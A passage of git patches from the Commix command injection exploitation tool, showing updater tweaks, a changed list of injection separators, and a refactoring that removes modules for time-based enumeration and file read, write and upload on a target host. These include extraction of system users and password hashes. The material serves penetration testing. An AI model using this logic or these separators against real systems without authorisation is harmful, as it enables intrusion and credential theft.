GitHub without access on the Internet." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if windows if settings.IS_WINDOWS: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "For updating purposes on Windows platform, it's recommended " err_msg += "to use a GitHub client for Windows (http://windows.github.com/)." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) @@ -180,7 +162,6 @@ def unicorn_updater(current_version): requirments.do_check(requirment) if requirments.do_check(requirment) == True : settings.print_data_to_stdout(settings.SUCCESS_STATUS) - if len(current_version) == 0: unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../', 'thirdparty/')) os.chdir(unicorn_path) @@ -192,14 +173,11 @@ def unicorn_updater(current_version): subprocess.Popen("git clone https://github.com/trustedsec/unicorn", shell=True).wait() os.chdir("unicorn") settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - revision_num() else: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = requirment + " not found." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - except Exception as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -217,12 +195,10 @@ def check_unicorn_version(current_version): if "Magic Unicorn Attack Vector v" in line: latest_version = line.replace("Magic Unicorn Attack Vector v", "").replace(settings.SINGLE_WHITESPACE, "").replace("-", "").replace("\"", "").replace(")", "") break - if len(current_version) == 0 or \ (int(current_version.replace(".", "")[:2]) < int(latest_version.replace(".", "")[:2])) or \ ((int(current_version.replace(".", "")[:2]) == int(latest_version.replace(".", "")[:2])) and \ int(current_version.replace(".", "")[2:]) < int(latest_version.replace(".", "")[2:])): - if len(current_version) != 0: warn_msg = "Current version of TrustedSec's Magic Unicorn (" + current_version + ") seems to be out-of-date." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -243,7 +219,6 @@ def check_unicorn_version(current_version): else: common.invalid_option(do_update) pass - except KeyboardInterrupt: raise except: From 9d1650bc49a4923384dcc079464602e21548324b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 27 Jul 2024 09:00:02 +0300 Subject: [PATCH 0486/1023] Minor update --- src/utils/settings.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index 60572e3e1d..bf2e0a1faf 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "88" +REVISION = "89" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -496,7 +496,7 @@ class OS(object): # The command injection separators. SEPARATORS = [] -DEFAULT_SEPARATORS = ["", ";", "%26", "|"] +DEFAULT_SEPARATORS = [";", "%26", "|", ""] SPECIAL_SEPARATORS = ["%26%26", "||", "%0a", "%0d%0a", "%1a"] SEPARATORS_LVL1 = DEFAULT_SEPARATORS + SPECIAL_SEPARATORS SEPARATORS_LVL3 = SEPARATORS_LVL2 = SEPARATORS_LVL1 From 21baf93a8fa8b6d71b689451821cd90c4ed387b2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 2 Aug 2024 08:20:22 +0300 Subject: [PATCH 0487/1023] Major code refactoring --- .../techniques/time_based/tb_enumeration.py | 291 -------- .../techniques/time_based/tb_file_access.py | 144 ---- .../blind/techniques/time_based/tb_handler.py | 368 +--------- .../techniques/time_based/tb_injector.py | 513 +------------ src/core/injections/controller/checks.py | 202 +++++- src/core/injections/controller/controller.py | 27 +- src/core/injections/controller/enumeration.py | 535 ++++++++++++++ src/core/injections/controller/file_access.py | 230 ++++++ src/core/injections/controller/handler.py | 686 ++++++++++++++++++ src/core/injections/controller/injector.py | 523 +++++++++++++ .../injections/controller/shell_options.py | 43 +- .../techniques/classic/cb_enumeration.py | 328 --------- .../techniques/classic/cb_file_access.py | 138 ---- .../techniques/classic/cb_handler.py | 270 +------ .../techniques/classic/cb_injector.py | 291 +------- .../techniques/eval_based/eb_enumeration.py | 331 --------- .../techniques/eval_based/eb_file_access.py | 133 ---- .../techniques/eval_based/eb_handler.py | 301 +------- .../techniques/eval_based/eb_injector.py | 247 +------ .../techniques/file_based/fb_enumeration.py | 298 -------- .../techniques/file_based/fb_file_access.py | 132 ---- .../techniques/file_based/fb_handler.py | 476 +----------- .../techniques/file_based/fb_injector.py | 320 +------- .../tempfile_based/tfb_enumeration.py | 299 -------- .../tempfile_based/tfb_file_access.py | 146 ---- .../techniques/tempfile_based/tfb_handler.py | 411 +---------- .../techniques/tempfile_based/tfb_injector.py | 505 +------------ src/core/requests/requests.py | 119 ++- src/core/shells/bind_tcp.py | 2 +- src/core/shells/reverse_tcp.py | 2 +- src/utils/menu.py | 4 +- src/utils/session_handler.py | 78 +- src/utils/settings.py | 16 +- src/utils/update.py | 6 +- 34 files changed, 2416 insertions(+), 5999 deletions(-) delete mode 100755 src/core/injections/blind/techniques/time_based/tb_enumeration.py delete mode 100755 src/core/injections/blind/techniques/time_based/tb_file_access.py create mode 100755 src/core/injections/controller/enumeration.py create mode 100755 src/core/injections/controller/file_access.py create mode 100755 src/core/injections/controller/handler.py create mode 100755 src/core/injections/controller/injector.py delete mode 100755 src/core/injections/results_based/techniques/classic/cb_enumeration.py delete mode 100755 src/core/injections/results_based/techniques/classic/cb_file_access.py delete mode 100755 src/core/injections/results_based/techniques/eval_based/eb_enumeration.py delete mode 100755 src/core/injections/results_based/techniques/eval_based/eb_file_access.py delete mode 100755 src/core/injections/semiblind/techniques/file_based/fb_enumeration.py delete mode 100755 src/core/injections/semiblind/techniques/file_based/fb_file_access.py delete mode 100755 src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py delete mode 100755 src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py deleted file mode 100755 index edcebea6fa..0000000000 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ /dev/null @@ -1,291 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import sys -from src.thirdparty.six.moves import urllib as _urllib -from src.utils import logs -from src.utils import menu -from src.utils import common -from src.utils import settings -from src.utils import session_handler -from src.core.injections.controller import checks -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.blind.techniques.time_based import tb_injector - -""" -The "time-based" injection technique on Blind OS Command Injection. -""" - -""" -Powershell's version number enumeration (for Windows OS) -""" -def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - cmd = settings.PS_VERSION - # if alter_shell: - # cmd = checks.escape_single_quoted_cmd(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - ps_version = output - checks.print_ps_version(ps_version, filename, _) - -""" -Hostname enumeration -""" -def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - cmd = settings.HOSTNAME - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - _ = True - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_hostname(shell, filename, _) - -""" -Retrieve system information -""" -def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS - cmd = settings.RECOGNISE_OS - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - target_os = output - if settings.VERBOSITY_LEVEL == 0 and _: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - if target_os: - if settings.TARGET_OS != settings.OS.WINDOWS: - cmd = settings.DISTRO_INFO - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - if settings.VERBOSITY_LEVEL == 0 and _: - settings.print_data_to_stdout("") - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - distro_name = output - if len(distro_name) != 0: - target_os = target_os + settings.SINGLE_WHITESPACE + distro_name - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_RECOGNISE_HP - else: - cmd = settings.RECOGNISE_HP - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - if settings.VERBOSITY_LEVEL == 0 and _: - settings.print_data_to_stdout("\n") - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - target_arch = output - else: - target_arch = None - checks.print_os_info(target_os, target_arch, filename, _) - -""" -The current user enumeration -""" -def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.CURRENT_USER = settings.WIN_CURRENT_USER - cmd = settings.CURRENT_USER - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, cu_account = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) - _ = True - else: - cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_current_user(cu_account, filename, _) - -""" -Check if the Current user is privileged. -""" -def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - _ = True - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_current_user_privs(shell, filename, _) - -""" -System users enumeration -""" -def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - cmd = settings.SYS_USERS - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_SYS_USERS - cmd = cmd + settings.WIN_REPLACE_WHITESPACE - if alter_shell: - cmd = checks.escape_single_quoted_cmd(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - try: - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - except TypeError: - output = "" - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - sys_users = output - checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) - -""" -System passwords enumeration -""" -def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - cmd = settings.SYS_PASSES - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - _ = True - if output == False: - output = "" - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - sys_passes = output - checks.print_passes(sys_passes, filename, _, alter_shell) - -""" -Single os-shell execution -""" -def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - checks.print_enumenation().print_single_os_cmd_msg(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - check_how_long = 0 - checks.print_single_os_cmd(cmd, output, filename) - return check_how_long, output - -""" -Check the defined options -""" -def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - def reset(): - if settings.ENUMERATION_DONE: - settings.ENUMERATION_DONE = False - - reset() - if menu.options.ps_version and settings.PS_ENABLED == None: - if not checks.ps_incompatible_os(): - if settings.ENUMERATION_DONE: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.print_enumenation().ps_version_msg() - powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - reset() - - if menu.options.hostname: - if settings.ENUMERATION_DONE: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.print_enumenation().hostname_msg() - hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - reset() - - if menu.options.current_user: - if settings.ENUMERATION_DONE: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.print_enumenation().current_user_msg() - current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - reset() - - if menu.options.is_root or menu.options.is_admin: - if settings.ENUMERATION_DONE: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.print_enumenation().check_privs_msg() - check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - reset() - - if menu.options.sys_info: - if settings.ENUMERATION_DONE: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.print_enumenation().os_info_msg() - system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - reset() - - if menu.options.users: - if settings.ENUMERATION_DONE: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.print_enumenation().print_users_msg() - system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - reset() - - if menu.options.passwords: - if settings.ENUMERATION_DONE: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - if settings.TARGET_OS == settings.OS.WINDOWS: - check_option = "--passwords" - checks.unavailable_option(check_option) - else: - checks.print_enumenation().print_passes_msg() - system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - reset() - -""" -Check stored session -""" -def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - if settings.ENUMERATION_DONE == True: - while True: - message = "Do you want to ignore stored session and enumerate again? [y/N] > " - enumerate_again = common.read_input(message, default="N", check_batch=True) - if enumerate_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - break - elif enumerate_again in settings.CHOICE_NO: - break - elif enumerate_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(enumerate_again) - pass - else: - if menu.enumeration_options(): - do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - -# eof \ No newline at end of file diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py deleted file mode 100755 index 6e0002f668..0000000000 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ /dev/null @@ -1,144 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import os -import sys -from src.utils import menu -from src.utils import common -from src.utils import settings -from src.utils import session_handler -from src.core.injections.controller import checks -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.blind.techniques.time_based import tb_injector - -""" -The "time-based" injection technique on Blind OS Command Injection. -""" - -""" -Write to a file on the target host. -""" -def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - file_to_write, dest_to_write, content = checks.check_file_to_write() - if settings.TARGET_OS == settings.OS.WINDOWS: - _ = True - from src.core.injections.results_based.techniques.classic import cb_injector - whitespace = settings.WHITESPACES[0] - cmd = checks.change_dir(dest_to_write) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cmd = checks.win_decode_b64_enc(fname, tmp_fname) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cb_injector.injection_results(response, TAG, cmd) - cmd = checks.delete_tmp(tmp_fname) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cb_injector.injection_results(response, TAG, cmd) - else: - cmd = checks.write_content(content, dest_to_write) - cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write - check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_write) - if settings.VERBOSITY_LEVEL == 0 and not _: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - shell = "".join(str(p) for p in shell) - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.file_write_status(shell, dest_to_write) - -""" -Upload a file on the target host. -""" -def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - cmd, dest_to_upload = checks.check_file_to_upload() - check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_upload) - check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - shell = "".join(str(p) for p in shell) - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.file_upload_status(shell, dest_to_upload) - -""" -Read a file from the target host. -""" -def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - cmd, file_to_read = checks.file_content_to_read() - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - _ = True - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = "".join(str(p) for p in shell) - if settings.VERBOSITY_LEVEL == 0 and _ and len(shell) != 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.file_read_status(shell, file_to_read, filename) - -""" -Check the defined options -""" -def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - if menu.options.file_write: - file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - - if menu.options.file_upload: - if settings.TARGET_OS == settings.OS.WINDOWS: - check_option = "--file-upload" - checks.unavailable_option(check_option) - else: - file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - - if menu.options.file_read: - file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - -""" -Check stored session -""" -def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - if settings.FILE_ACCESS_DONE == True: - while True: - message = "Do you want to ignore stored session and access files again? [y/N] > " - file_access_again = common.read_input(message, default="N", check_batch=True) - if file_access_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(file_access_again) - pass - else: - if menu.file_access_options(): - do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - -# eof \ No newline at end of file diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index f5e70170ad..68f7900aaf 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -13,29 +13,10 @@ For more see the file 'readme/COPYING' for copying permission. """ -import re -import sys -import time -import string -import random -from src.utils import menu -from src.utils import logs -from src.utils import settings from src.utils import common -from src.core.compat import xrange -from src.utils import session_handler -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters +from src.utils import settings from src.core.injections.controller import checks -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -from src.core.injections.controller import shell_options -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.blind.techniques.time_based import tb_injector -from src.core.injections.blind.techniques.time_based import tb_payloads -from src.core.injections.blind.techniques.time_based import tb_enumeration -from src.core.injections.blind.techniques.time_based import tb_file_access +from src.core.injections.controller import handler """ The "time-based" injection technique on Blind OS Command Injection. @@ -44,346 +25,8 @@ """ The "time-based" injection technique handler. """ -def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): - - counter = 1 - num_of_chars = 1 - vp_flag = True - no_result = True - is_encoded = False - possibly_vulnerable = False - false_positive_warning = False - export_injection_info = False - how_long = 0 - - checks.testing_technique_title(injection_type, technique) - - # Check if defined "--url-reload" option. - if menu.options.url_reload == True: - checks.reload_url_msg(technique) - - # Check if defined "--maxlen" option. - if menu.options.maxlen: - settings.MAXLEN = maxlen = menu.options.maxlen - - #whitespace = checks.check_whitespaces() - # Calculate all possible combinations - total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - for whitespace in settings.WHITESPACES: - for prefix in settings.PREFIXES: - for suffix in settings.SUFFIXES: - for separator in settings.SEPARATORS: - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # If a previous session is available. - how_long_statistic = [] - if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type): - try: - settings.TIME_BASED_STATE = True - cmd = shell = "" - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) - checks.check_for_stored_tamper(payload) - settings.FOUND_HOW_LONG = how_long - settings.FOUND_DIFF = how_long - timesec - except TypeError: - checks.error_loading_session_file() - - if settings.RETEST == True: - settings.RETEST = False - from src.core.injections.results_based.techniques.classic import cb_handler - cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type=settings.INJECTION_TYPE.RESULTS_BASED_CI, technique=settings.INJECTION_TECHNIQUE.CLASSIC) - checks.testing_technique_title(injection_type, technique) - - if not settings.LOAD_SESSION: - num_of_chars = num_of_chars + 1 - # Check for bad combination of prefix and separator - combination = prefix + separator - if combination in settings.JUNK_COMBINATION: - prefix = "" - - # Define alter shell - alter_shell = menu.options.alter_shell - - # Change TAG on every request to prevent false-positive results. - TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) - tag_length = len(TAG) + 4 - - for output_length in range(1, int(tag_length)): - try: - if alter_shell: - # Time-based decision payload (check if host is vulnerable). - payload = tb_payloads.decision_alter_shell(separator, TAG, output_length, timesec, http_request_method) - else: - # Time-based decision payload (check if host is vulnerable). - payload = tb_payloads.decision(separator, TAG, output_length, timesec, http_request_method) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - settings.print_data_to_stdout(settings.print_payload(payload_msg)) - - # Cookie header injection - if settings.COOKIE_INJECTION == True: - # Check if target host is vulnerable to cookie header injection. - vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # User-Agent HTTP header injection - elif settings.USER_AGENT_INJECTION == True: - # Check if target host is vulnerable to user-agent HTTP header injection. - vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Referer HTTP header injection - elif settings.REFERER_INJECTION == True: - # Check if target host is vulnerable to referer HTTP header injection. - vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Host HTTP header injection - elif settings.HOST_INJECTION == True: - # Check if target host is vulnerable to host HTTP header injection. - vuln_parameter = parameters.specify_host_parameter(menu.options.host) - how_long = tb_injector.host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Custom HTTP header Injection - elif settings.CUSTOM_HEADER_INJECTION == True: - # Check if target host is vulnerable to custom http header injection. - vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - how_long = tb_injector.custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - # Check if target host is vulnerable. - how_long, vuln_parameter = tb_injector.injection_test(payload, http_request_method, 